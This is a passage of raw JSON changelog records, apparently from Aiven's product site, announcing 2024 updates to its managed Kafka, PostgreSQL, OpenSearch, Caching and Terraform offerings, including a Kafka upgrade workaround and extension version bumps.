documentation"},{"_key":"935142a781bf","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"aa14918522cb","_type":"link"}],"style":"normal"}],"publishedAt":"2024-10-09T08:05:54.458Z","tags":[{"_key":"7ac6f545a043","_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"service"}],"title":"Aiven for Metrics is now generally available"} {"__i18n_lang":"en","_createdAt":"2024-05-13T12:54:36Z","_id":"b3439410-6005-4a4e-b0d2-802346f6a8e7","_rev":"lESIXfhUM7GwGlQ32cIgxH","_type":"changelog","_updatedAt":"2024-07-17T13:12:25Z","changeType":"improved","description":[{"_key":"8c409133f67a","_type":"block","children":[{"_key":"5a2992c72ccb0","_type":"span","marks":["strong"],"text":"Note:"},{"_key":"29b2f073945a","_type":"span","marks":[],"text":" This issue has been resolved as of Apache Kafka version 3.6.2. To avoid this issue, upgrade to version 3.6.2 or later.\n\nWe've identified an issue affecting customers upgrading Aiven for Apache Kafka® clusters from versions earlier than 3.6 to versions 3.6 or 3.7."}],"markDefs":[],"style":"normal"},{"_key":"ba2a49bfe0a0","_type":"block","children":[{"_key":"769076ee8c840","_type":"span","marks":["strong"],"text":"Recommended actions:"}],"markDefs":[],"style":"normal"},{"_key":"33f9933e5216","_type":"block","children":[{"_key":"b724f3dd74780","_type":"span","marks":["strong"],"text":"For Apache Kafka producer clients earlier than version 3.6.0:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1c720a8efaac","_type":"block","children":[{"_key":"fa382390e44a0","_type":"span","marks":[],"text":"Temporarily set"},{"_key":"fa382390e44a1","_type":"span","marks":["code"],"text":" transaction.partition.verification.enable"},{"_key":"fa382390e44a2","_type":"span","marks":[],"text":" to "},{"_key":"fa382390e44a3","_type":"span","marks":["code"],"text":"false"},{"_key":"fa382390e44a4","_type":"span","marks":[],"text":" in the "},{"_key":"fa382390e44a5","_type":"span","marks":["036b973cea60"],"text":"service's advanced configuration"},{"_key":"fa382390e44a6","_type":"span","marks":[],"text":" during the upgrade."}],"level":2,"listItem":"bullet","markDefs":[{"_key":"036b973cea60","_type":"link","href":"https://aiven.io/docs/products/kafka/reference/advanced-params#transaction-partition-verification-enable"}],"style":"normal"},{"_key":"3991a65ad0ec","_type":"block","children":[{"_key":"567d53d8a7420","_type":"span","marks":[],"text":"Revert this setting to "},{"_key":"567d53d8a7421","_type":"span","marks":["code"],"text":"true"},{"_key":"567d53d8a7422","_type":"span","marks":[],"text":" after upgrading to Apache Kafka 3.6.0 or later."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"35266a9e3fdc","_type":"block","children":[{"_key":"c2f64ceaf7570","_type":"span","marks":["strong"],"text":"For Apache Kafka producer clients using version 3.6.0 or later:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b6da45c3928a","_type":"block","children":[{"_key":"0c23698c32eb0","_type":"span","marks":[],"text":"Disabling transaction verification might lead to transaction duplicates."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4c3c2d5b7b9e","_type":"block","children":[{"_key":"d0fe33272a960","_type":"span","marks":[],"text":"Ensure "},{"_key":"d0fe33272a961","_type":"span","marks":["code"],"text":"transaction.partition.verification.enable"},{"_key":"d0fe33272a962","_type":"span","marks":[],"text":" is set to "},{"_key":"d0fe33272a963","_type":"span","marks":["code"],"text":"true"},{"_key":"d0fe33272a964","_type":"span","marks":[],"text":" after upgrading to version 3.6.0 or later."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e0bf1318c94","_type":"block","children":[{"_key":"903b39a00c970","_type":"span","marks":[],"text":"For assistance or more details, contact the Aiven support team."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-05-13T12:55:00.000Z","tags":[{"_key":"79b7fc32f0e4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® upgrade issue for versions prior to 3.6"} {"__i18n_lang":"en","_createdAt":"2024-05-02T08:21:00Z","_id":"5ba6b6c1-9024-4cfc-b3c1-3c42e1a2d7a3","_rev":"DcneF66P6QscvZLjoCmAjM","_type":"changelog","_updatedAt":"2024-05-02T09:20:50Z","changeType":"new","description":[{"_key":"7b38021cdefb","_type":"block","children":[{"_key":"94ccea8b2b5e0","_type":"span","marks":[],"text":"Application users are a special type of user that super admin can create to use for programmatic access to Aiven through the API, Terraform, Kubernetes, or other applications. They make it easier to audit and manage access to your Aiven resources for applications."}],"markDefs":[],"style":"normal"},{"_key":"426500689bc5","_type":"block","children":[{"_key":"2d24c76df53c0","_type":"span","marks":[],"text":"These users are centrally managed by organization super admin, who now have full visibility into how their organization’s resources are programmatically accessed on the Aiven platform. The application user tokens also add another level of security. Super admin can restrict users from creating personal tokens, ensuring that only approved applications access the Aiven API with application user tokens. This also makes it easier for super admin to regularly rotate tokens according to your organization’s security policies."}],"markDefs":[],"style":"normal"},{"_key":"29b17d2dd31a","_type":"block","children":[{"_key":"fff2c99da6780","_type":"span","marks":[],"text":"Find out more about using application users to securely manage access to the Aiven platform "},{"_key":"fff2c99da6781","_type":"span","marks":["51fb4b9b9919"],"text":"in the documentation"},{"_key":"fff2c99da6782","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"51fb4b9b9919","_type":"link","href":"https://aiven.io/docs/platform/concepts/application-users"}],"style":"normal"}],"publishedAt":"2024-04-19T08:28:00.000Z","tags":[{"_key":"b1df0229a0ea","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Application users are now generally available in Aiven"} {"__i18n_lang":"en","_createdAt":"2024-05-07T09:34:06Z","_id":"1ae0c655-9a07-4379-b96e-c98a34e4f054","_rev":"ILS0AxpRQSb999R1zoEI8j","_type":"changelog","_updatedAt":"2024-05-07T09:34:06Z","changeType":"improved","description":[{"_key":"19ebbe6c2997","_type":"block","children":[{"_key":"8c9ba7b4fab50","_type":"span","marks":[],"text":"The Apache Kafka Connect Elasticsearch sink connector has been upgraded to version 7.0.0. This update introduces significant improvements and compatibility enhancements with newer versions of Elasticsearch."}],"markDefs":[],"style":"normal"},{"_key":"aeefec663ecb","_type":"block","children":[{"_key":"8b73eb861df80","_type":"span","marks":["strong"],"text":"Key updates:"}],"markDefs":[],"style":"normal"},{"_key":"48272acd424d","_type":"block","children":[{"_key":"0fec2d5f994b0","_type":"span","marks":[],"text":"The connector is now compatible with Elasticsearch versions 7.x onwards."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e1d9953d7119","_type":"block","children":[{"_key":"331a67bf6cc10","_type":"span","marks":[],"text":"Elasticsearch 8.x no longer supports the "},{"_key":"331a67bf6cc11","_type":"span","marks":["code"],"text":"_type"},{"_key":"331a67bf6cc12","_type":"span","marks":[],"text":" parameter, which affects data structure and queries. Update your Elasticsearch queries and data handling accordingly. Compatibility with Elasticsearch versions 6.x and earlier has been discontinued due to deprecated features and compatibility issues."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b8eb03d3335","_type":"block","children":[{"_key":"5aa2e78d98c90","_type":"span","marks":[],"text":"This update applies only to the Apache Kafka Connect connector and does not affect the metric agent."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0f7fef20fe79","_type":"block","children":[{"_key":"e5dc5297f4c30","_type":"span","marks":["strong"],"text":"Action required:"}],"markDefs":[],"style":"normal"},{"_key":"7c3a7ca75d85","_type":"block","children":[{"_key":"88913e87d76b0","_type":"span","marks":[],"text":"If you currently use Elasticsearch version 6.x or earlier, you must upgrade to at least Elasticsearch version 7.x by applying the "},{"_key":"88913e87d76b1","_type":"span","marks":["dfb88d0c092e"],"text":"service maintenance updates"},{"_key":"88913e87d76b2","_type":"span","marks":[],"text":" to continue using this connector."}],"markDefs":[{"_key":"dfb88d0c092e","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates"}],"style":"normal"},{"_key":"3edb2b94a4ec","_type":"block","children":[{"_key":"58976bc766a70","_type":"span","marks":[],"text":"For details on how to use this connector, see "},{"_key":"58976bc766a71","_type":"span","marks":["f7561897a1df"],"text":"Create a sink connector from Apache Kafka® to Elasticsearch"},{"_key":"58976bc766a72","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f7561897a1df","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/elasticsearch-sink"}],"style":"normal"}],"publishedAt":"2024-04-23T09:32:00.000Z","tags":[{"_key":"784c8fbd95e2","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Apache Kafka Connect Elasticsearch sink connector version 7.0.0 "} {"__i18n_lang":"en","_createdAt":"2024-05-08T09:49:09Z","_id":"53ada6ff-d151-458f-a825-a6bd9a3b3032","_rev":"djBW4fytXpbxkquf76Yr7W","_type":"changelog","_updatedAt":"2024-05-08T09:49:09Z","changeType":"new","description":[{"_key":"fc66de03e089","_type":"block","children":[{"_key":"12ffb996016b0","_type":"span","marks":[],"text":"We’re thrilled to announce that now you can integrate PgBouncer with Datadog to track connection pool metrics and monitor application traffic on the Datadog platform. Check how to enable monitoring PgBouncer metrics for your Aiven for PostgreSQL service in our "},{"_key":"12ffb996016b1","_type":"span","marks":["e56747dadff3"],"text":"documentation"},{"_key":"12ffb996016b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e56747dadff3","_type":"link","href":"https://aiven.io/docs/products/postgresql/howto/monitor-pgbouncer-with-datadog"}],"style":"normal"}],"publishedAt":"2024-05-08T09:48:00.000Z","tags":[{"_key":"9749a1b6c6a8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Monitor PgBouncer with Datadog"} {"__i18n_lang":"en","_createdAt":"2024-12-18T12:58:01Z","_id":"e3d7b94c-05b0-400e-94ed-31ff6c5bab5f","_rev":"R4zj9VDraGU9JFViGd5w4x","_type":"changelog","_updatedAt":"2024-12-18T13:44:14Z","changeType":"new","description":[{"_key":"cef9f86de35d","_type":"block","children":[{"_key":"07d56c55f1910","_type":"span","marks":[],"text":"This version includes support for "},{"_key":"e9c2e6492060","_type":"span","marks":["e1272c2a361a"],"text":"Aiven for AlloyDB"},{"_key":"f6c6d0696144","_type":"span","marks":[],"text":", cross-project service integrations, PostgreSQL 17 and Flink 1.20."}],"markDefs":[{"_key":"e1272c2a361a","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/alloydbomni"}],"style":"normal"},{"_key":"a18885751873","_type":"block","children":[{"_key":"ea051f32f5ea","_type":"span","marks":[],"text":"Three new beta Aiven for AlloyDB Omni resources and data sources were added: "},{"_key":"d2cac99fa7dc","_type":"span","marks":["code"],"text":"aiven_alloydbomni"},{"_key":"072a69364834","_type":"span","marks":[],"text":", "},{"_key":"0ee9c47abed5","_type":"span","marks":["code"],"text":"aiven_alloydbomni_database"},{"_key":"3746fe2a999b","_type":"span","marks":[],"text":", and "},{"_key":"ea8137f19585","_type":"span","marks":["code"],"text":"aiven_alloydbomni_user"},{"_key":"7f916ba58046","_type":"span","marks":[],"text":". "},{"_key":"50467646c145","_type":"span","marks":["22d9138acc57"],"text":"Aiven for AlloyDB Omni"},{"_key":"3aebeb3a527d","_type":"span","marks":[],"text":" is a high-performance PostgreSQL-compatible database featuring a columnar engine and built-in AI capabilities."}],"markDefs":[{"_key":"22d9138acc57","_type":"link","href":"https://aiven.io/docs/products/alloydbomni"}],"style":"normal"},{"_key":"6989cceb30ec","_type":"block","children":[{"_key":"209558e2c76c","_type":"span","marks":[],"text":"In addition, the "},{"_key":"a4c4eca51420","_type":"span","marks":["code"],"text":"aiven_service_integration"},{"_key":"b9ac03136ca1","_type":"span","marks":[],"text":" resource now supports setting source and destination projects, enabling the creation of integrations between services in different projects."}],"markDefs":[],"style":"normal"},{"_key":"f026eb1721ef","_type":"block","children":[{"_key":"9200a3d8929c0","_type":"span","marks":[],"text":"For more details on fixes and updates, view the complete Aiven Provider for Terraform "},{"_key":"9200a3d8929c1","_type":"span","marks":["3a27a411e912"],"text":"changelog"},{"_key":"9200a3d8929c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3a27a411e912","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"},{"_key":"3e6f832e6ffa","_type":"block","children":[{"_key":"a273dbdcaf61","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"dc15490a680e","_type":"block","children":[{"_key":"48ebbea47029","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"77bcf57eb98b","_type":"block","children":[{"_key":"5da73078b789","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6973c2aa3705","_type":"block","children":[{"_key":"d2c69170facc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-12-18T12:57:00.000Z","tags":[{"_key":"ace551788ad5","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.31.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-05-17T14:35:18Z","_id":"cf389a84-32ed-4247-ac86-30f5875518f6","_rev":"dpHYNqixoqKfXTNyWvsa8O","_type":"changelog","_updatedAt":"2024-05-17T14:35:18Z","changeType":"improved","description":[{"_key":"631ccb13f1b2","_type":"block","children":[{"_key":"c895a2c514350","_type":"span","marks":[],"text":"The projects page lists all of the projects that you have access to in an organization in one place. Now the page has been redesigned, grouping projects based on their location in the hierarchy. You can also search for projects by name or project tags."}],"markDefs":[],"style":"normal"},{"_key":"763016cd2c11","_type":"block","children":[{"_key":"3fd28a1f2dab0","_type":"span","marks":[],"text":"To see the list of projects go to "},{"_key":"3fd28a1f2dab1","_type":"span","marks":["strong"],"text":"Projects"},{"_key":"3fd28a1f2dab2","_type":"span","marks":[],"text":" "},{"_key":"3fd28a1f2dab3","_type":"span","marks":["strong"],"text":"\u003e View all projects"},{"_key":"3fd28a1f2dab4","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-05-17T13:42:00.000Z","tags":[{"_key":"4f840dd2e5ef","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Redesigned projects page"} {"__i18n_lang":"en","_createdAt":"2024-07-22T07:57:40Z","_id":"09b49dde-8279-4ecb-992c-f6aba6149d47","_rev":"mr6Ps1Vz8WkVL9G5Vh5jZQ","_type":"changelog","_updatedAt":"2024-07-25T07:53:29Z","changeType":"new","description":[{"_key":"76af51dd3466","_type":"block","children":[{"_key":"2df1acaa14180","_type":"span","marks":[],"text":"The SQL query optimizer is now available from the "},{"_key":"97c9682000d0","_type":"span","marks":["strong"],"text":"Tools"},{"_key":"a5ab57efa294","_type":"span","marks":[],"text":" menu. Use it to get AI-powered optimization suggestions for PostgreSQL and MySQL."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-07-22T08:00:31.038Z","tags":[{"_key":"cc7c93fa8c34","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"e1146320af6b","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Standalone SQL query optimizer"} {"__i18n_lang":"en","_createdAt":"2024-07-10T10:46:45Z","_id":"0ad47e6c-7a9c-44c3-b004-0790a45fde03","_rev":"soRb7d6YUIpimEgfQTzKDn","_type":"changelog","_updatedAt":"2024-07-25T08:21:25Z","changeType":"improved","description":[{"_key":"2d5da5afa335","_type":"block","children":[{"_key":"40aec0a6ea900","_type":"span","marks":[],"text":"TimescaleDB extension version 2.15.3 is now available for Aiven for PostgreSQL®. It introduces new bug fixes on top of release 2.15.2. Upgrade to 2.15.3 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"f992121c7937","_type":"block","children":[{"_key":"48a4613711d10","_type":"span","marks":[],"text":"Refer to the "},{"_key":"48a4613711d11","_type":"span","marks":["2ed120c770a0"],"text":"TimescaleDB release notes for 2.15.3"},{"_key":"48a4613711d12","_type":"span","marks":[],"text":" to check all the changes introduced in this release, including deprecation announcements and operational instructions."}],"markDefs":[{"_key":"2ed120c770a0","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.15.3"}],"style":"normal"},{"_key":"a857ee83a879","_type":"block","children":[{"_key":"5dc0f54c2f590","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"b93b711c629e","_type":"block","children":[{"_key":"9d4d0b7249db0","_type":"span","marks":["f54bdcfe8d9a"],"text":"#7061"},{"_key":"9d4d0b7249db1","_type":"span","marks":[],"text":": Fix the handling of multiple unique indexes in a compressed INSERT."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f54bdcfe8d9a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7061"}],"style":"normal"},{"_key":"01e190b4a7c9","_type":"block","children":[{"_key":"cfd95d8fd9320","_type":"span","marks":["b2784738f77b"],"text":"#7080"},{"_key":"cfd95d8fd9321","_type":"span","marks":[],"text":": Fix the "},{"_key":"cfd95d8fd9322","_type":"span","marks":["code"],"text":"corresponding equivalence member not found"},{"_key":"cfd95d8fd9323","_type":"span","marks":[],"text":" error."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b2784738f77b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7080"}],"style":"normal"},{"_key":"4c517a366621","_type":"block","children":[{"_key":"494f179195020","_type":"span","marks":["34b3e9027271"],"text":"#7088"},{"_key":"494f179195021","_type":"span","marks":[],"text":": Fix the leaks in the DML functions."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"34b3e9027271","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7088"}],"style":"normal"},{"_key":"de45549de5a1","_type":"block","children":[{"_key":"1efeabab288e0","_type":"span","marks":["2dedb3278a69"],"text":"#7035"},{"_key":"1efeabab288e1","_type":"span","marks":[],"text":": Fix the error when acquiring a tuple lock on the OSM chunks on the replica."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2dedb3278a69","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7035"}],"style":"normal"},{"_key":"6af336e09385","_type":"block","children":[{"_key":"b3d643ce414d0","_type":"span","marks":["850435b287b9"],"text":"#7091"},{"_key":"b3d643ce414d1","_type":"span","marks":[],"text":": Fix the "},{"_key":"b3d643ce414d2","_type":"span","marks":["code"],"text":"ORDER BY/GROUP BY expression not found in targetlist"},{"_key":"b3d643ce414d3","_type":"span","marks":[],"text":" error on PG16."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"850435b287b9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7091"}],"style":"normal"}],"publishedAt":"2024-07-24T08:20:00.000Z","tags":[{"_key":"0993174cec40","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.15.3 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2024-11-19T09:03:08Z","_id":"7781cca3-368e-4413-9dca-3d978ed2eab9","_rev":"sEwq5NBiPauorOxrhjNhHV","_type":"changelog","_updatedAt":"2024-11-19T13:30:38Z","changeType":"new","description":[{"_key":"be41777ff300","_type":"block","children":[{"_key":"f222233ef35f0","_type":"span","marks":[],"text":"Aiven for Apache Kafka Connect supports secure PostgreSQL integration using the Debezium connector with mutual TLS (mTLS). This connector, now generally available, enhances security through mutual authentication between the client and server.\n\nTo learn more, see "},{"_key":"9fc68ddcb914","_type":"span","marks":["a9812f2e4805"],"text":"Integrate Apache Kafka Connect with PostgreSQL using Debezium and mutual TLS"},{"_key":"0d874734adac","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a9812f2e4805","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/kafka-connect-debezium-tls-pg"}],"style":"normal"}],"publishedAt":"2024-11-18T12:13:00.000Z","tags":[{"_key":"3a6e48e2c77f","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Aiven for Apache Kafka Connect® now supports Debezium with mTLS for PostgreSQL"} {"__i18n_lang":"en","_createdAt":"2024-11-27T09:22:00Z","_id":"5c95d818-d594-49e3-a6fd-00bb71744268","_rev":"2x59rT6aRKXNelne0a2uq0","_type":"changelog","_updatedAt":"2024-11-27T09:22:00Z","changeType":"new","description":[{"_key":"249c9f66ebe1","_type":"block","children":[{"_key":"1ca599e48d770","_type":"span","marks":[],"text":"Aiven for Apache Kafka Connect supports the ClickHouse sink connector. This connector ensures exactly-once semantics for reliable data delivery to ClickHouse. For more information, see "},{"_key":"e9bd7f1b976f","_type":"span","marks":["45f1752e3938"],"text":"Create a ClickHouse sink connector for Aiven for Apache Kafka®"}],"markDefs":[{"_key":"45f1752e3938","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/clickhouse-sink-connector"}],"style":"normal"}],"publishedAt":"2024-11-27T09:21:00.000Z","tags":[{"_key":"6692abb1d81a","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"ClickHouse sink connector now available for Aiven for Apache Kafka Connect®"} {"__i18n_lang":"en","_createdAt":"2024-11-27T13:19:42Z","_id":"3bbecc23-c8a8-4247-89be-0c4cf5bf4f12","_rev":"ZhxRwgWPklJwoe04lgi1Ac","_type":"changelog","_updatedAt":"2024-11-27T13:40:23Z","changeType":"improved","description":[{"_key":"9d885cda9f89","_type":"block","children":[{"_key":"404b4ac99c8b0","_type":"span","marks":[],"text":"Aiven for OpenSearch now supports configuring search backpressure and index backpressure settings. These settings optimize resource usage and improve search and indexing performance. You can configure them in the Advanced configurations section of the Aiven Console."}],"markDefs":[],"style":"normal"},{"_key":"bc6b8e584727","_type":"block","children":[{"_key":"6d00257a953b0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"6d00257a953b1","_type":"span","marks":["fb4906c1e4ee"],"text":"Advanced parameters"},{"_key":"6d00257a953b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"fb4906c1e4ee","_type":"link","href":"https://aiven.io/docs/products/opensearch/reference/advanced-params"}],"style":"normal"}],"publishedAt":"2024-11-27T13:34:00.000Z","tags":[{"_key":"055e535ceb86","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Search and index backpressure now configurable in Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2024-07-29T10:17:40Z","_id":"1ee66195-cfb7-413a-bc60-11530e0ad04d","_rev":"CsJhS699U5wscrFy6u5Y1i","_type":"changelog","_updatedAt":"2024-12-06T11:08:01Z","changeType":"improved","description":[{"_key":"4711edc73071","_type":"block","children":[{"_key":"3fd2053abf710","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 16.6, 15.10, 14.15, 13.18, and 12.22, which contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"31506566313a","_type":"block","children":[{"_key":"7c7257221a7a0","_type":"span","marks":[],"text":"See "},{"_key":"7c7257221a7a1","_type":"span","marks":["6cdff17bd0a3"],"text":"PostgreSQL release notes"},{"_key":"7c7257221a7a2","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"6cdff17bd0a3","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2024-12-05T11:07:00.000Z","tags":[{"_key":"f6e78d37593c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 16.6, 15.10, 14.15, 13.18, and 12.22"} {"__i18n_lang":"en","_createdAt":"2024-05-23T07:48:31Z","_id":"830dbc8e-783b-4f86-85e5-f511eabdf5c2","_rev":"EgwF35ASC1zRU1qyhdtlaD","_type":"changelog","_updatedAt":"2024-05-27T12:42:08Z","changeType":"new","description":[{"_key":"e0b69e6ff34c","_type":"block","children":[{"_key":"682563dd478b0","_type":"span","marks":[],"text":"Aiven for Redis® has been renamed to Aiven for Caching to comply with Redis's new licensing model."}],"markDefs":[],"style":"normal"},{"_key":"4f03d9e353ac","_type":"block","children":[{"_key":"50b6c4fd17750","_type":"span","marks":["strong"],"text":"What's changed:"}],"markDefs":[],"style":"normal"},{"_key":"5c1f84d44b7d","_type":"block","children":[{"_key":"5b83188ae1e00","_type":"span","marks":["strong"],"text":"Name update:"},{"_key":"5b83188ae1e01","_type":"span","marks":[],"text":" All references to Aiven for Redis® have been updated to Aiven for Caching."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c8148e21c222","_type":"block","children":[{"_key":"6771772071250","_type":"span","marks":["strong"],"text":"Licensing compliance:"},{"_key":"6771772071251","_type":"span","marks":[],"text":" The service remains compatible with legacy Redis® OSS, and we will continue to provide updates for it until its end-of-life (EOL)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ce8feb819f22","_type":"block","children":[{"_key":"e97dc29677b30","_type":"span","marks":["strong"],"text":"What's not changing:"}],"markDefs":[],"style":"normal"},{"_key":"67ff7e1b3f20","_type":"block","children":[{"_key":"16b241b3dfb70","_type":"span","marks":["strong"],"text":"Service functionality:"},{"_key":"16b241b3dfb71","_type":"span","marks":[],"text":" Existing services, API endpoints, CLI commands, and other functionalities remain unchanged. No immediate action is required from current customers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4128fdb882b9","_type":"block","children":[{"_key":"37bafca3d9f20","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"ce065db697c4","_type":"span","marks":["dabf3c83a019"],"text":"Aiven for Caching documentation"},{"_key":"3cb036313286","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dabf3c83a019","_type":"link","href":"https://aiven.io/docs/products/caching"}],"style":"normal"}],"publishedAt":"2024-05-27T12:41:32.709Z","tags":[{"_key":"698f6f33c956","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven for Redis®* is now Aiven for Caching"} {"__i18n_lang":"en","_createdAt":"2024-02-28T12:38:59Z","_id":"419e02f2-6ff1-43cb-90eb-2c3928f556dc","_rev":"EgwF35ASC1zRU1qyhduwa3","_type":"changelog","_updatedAt":"2024-05-27T13:17:21Z","changeType":"improved","description":[{"_key":"ac7402aa16d6","_type":"block","children":[{"_key":"1ff381da21780","_type":"span","marks":[],"text":"pgvector version 0.6.2 is now available for Aiven for PostgreSQL®.\nIt introduces new features and improvements on top of release 0.5.0."}],"markDefs":[],"style":"normal"},{"_key":"7af59838af04","_type":"block","children":[{"_key":"1b9673546a400","_type":"span","marks":[],"text":"New"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"78b259885798","_type":"block","children":[{"_key":"e0a8fc51d2a60","_type":"span","marks":[],"text":"Support for parallel index builds for HNSW"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b4dab69dfa80","_type":"block","children":[{"_key":"4b775e9d6ddb0","_type":"span","marks":[],"text":"Validation for GUC parameters"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4432cdf7bf34","_type":"block","children":[{"_key":"3f930a14f75d0","_type":"span","marks":[],"text":"Docker tags for each supported version of Postgres"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9a2af0e5eb8b","_type":"block","children":[{"_key":"5933ad0a32f20","_type":"span","marks":[],"text":"Check for MVCC-compliant snapshot for index scans"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80e49767b1e5","_type":"block","children":[{"_key":"e97a8988963c0","_type":"span","marks":[],"text":"Improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9a71afd3550","_type":"block","children":[{"_key":"71ce063785cb0","_type":"span","marks":[],"text":"Fixed error with "},{"_key":"71ce063785cb1","_type":"span","marks":["code"],"text":"ANALYZE"},{"_key":"71ce063785cb2","_type":"span","marks":[],"text":" and vectors with different dimensions"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b71caf6bb2e","_type":"block","children":[{"_key":"046edb652cc80","_type":"span","marks":[],"text":"Fixed segmentation fault with "},{"_key":"046edb652cc81","_type":"span","marks":["code"],"text":"shared_preload_libraries"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d96c82e8652b","_type":"block","children":[{"_key":"b62cf2555dd20","_type":"span","marks":[],"text":"Fixed vector subtraction being marked as commutative"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d30116c2f29d","_type":"block","children":[{"_key":"ffa8e5bb61e80","_type":"span","marks":[],"text":"Reduced lock contention with parallel HNSW index builds"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"78a769e000d6","_type":"block","children":[{"_key":"3e4133242bbe0","_type":"span","marks":[],"text":"Storage for vector changed from "},{"_key":"3e4133242bbe1","_type":"span","marks":["code"],"text":"extended"},{"_key":"3e4133242bbe2","_type":"span","marks":[],"text":" to "},{"_key":"3e4133242bbe3","_type":"span","marks":["code"],"text":"external"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b3cb646f1027","_type":"block","children":[{"_key":"e4cbd540b1860","_type":"span","marks":[],"text":"Improved performance of HNSW"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"91a15a68fe82","_type":"block","children":[{"_key":"a68497e476960","_type":"span","marks":[],"text":"Improved performance of HNSW index 